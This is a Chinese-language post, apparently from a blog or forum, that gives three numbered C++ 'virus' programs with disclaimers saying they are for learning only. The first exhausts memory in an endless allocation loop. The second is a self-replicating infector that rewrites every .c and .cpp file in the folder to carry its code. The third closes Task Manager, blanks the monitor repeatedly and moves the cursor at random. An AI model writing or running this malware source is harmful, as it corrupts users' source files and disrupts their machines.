C++病毒
NO.10
破坏性:造成内存空间不足
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,Tiger1218,2018.3.29
using namespace std;
int main() {
while(1)/*死循环*/ {
new char[1000000];
//申请空间
}
return 0;
}
NO.9
破坏性:主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用
#include<bits/stdc++.h>
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,Tiger1218,2018.3.29
void vir() {
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度
//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0; getline(VirusFile,VirusCode[CodeLen]); CodeLen++) {
if(VirusCode[CodeLen] == "//END") {
CodeLen++;
break;
}
}
VirusFile.close();
//依次感染宿主文件
while (true) {
//不能感染当前.cpp文件和已感染的文件
if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0) {
cout<<FindFileData.cFileName<<":是感染源!/n";
} else { //感染其它文件
//加载宿主文件
ifstream ibe(FindFileData.cFileName);
for(FileLen = 0; getline(ibe,FileCode[FileLen]); FileLen++) {
if (FileCode[FileLen].find("main") != -1) {
InsertLoc = FileLen;
}
}
ibe.close();
if(FileCode[0] == "//START") { //该文件已被感染
cout<<FindFileData.cFileName<<":已携带了病毒!/n";
} else if (FileLen > 500) {
cout<<FindFileData.cFileName<<":文件太大了!/n";
} else {
//打开宿主文件
ofstream be(FindFileData.cFileName);
//插入病毒代码
for(int i = 0; i < CodeLen; i++) {
be<<VirusCode[i]<<endl;
}
//病毒函数调用位置前文本插入
for(int i = 0; i < InsertLoc; i++) {
be<<FileCode[i]<<endl;
}
//插入函数调用vir()
for(int i = InsertLoc; i < FileLen; i++) {
int j = FileCode[i].find('{');
if(j != -1) {
FileCode[i].insert(j + 1,"/nvir();");
break;
}
}
//病毒函数调用位置后插入剩余文本
for(int i = InsertLoc; i < FileLen; i++) {
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":感染成功!/n";
}
}
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main() {
vir();
return 0;
}
NO.8
破坏性:鼠标乱跑&打开关闭显示器&建立一个线程
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,Tiger1218,2018.3.29
DWORD WINAPI DestroyWindows(LPVOID)
{
HWND TaskMgr = FindWindow(NULL,"Windows Task Manager");
if( TaskMgr != NULL )
{
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
while(1) {
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
int X = rand()%801;
int Y = rand()%601;
SetCursorPos( X, Y );
Sleep(5000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
}
}
int main()
{
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Sleep(10);
}
return 0;
}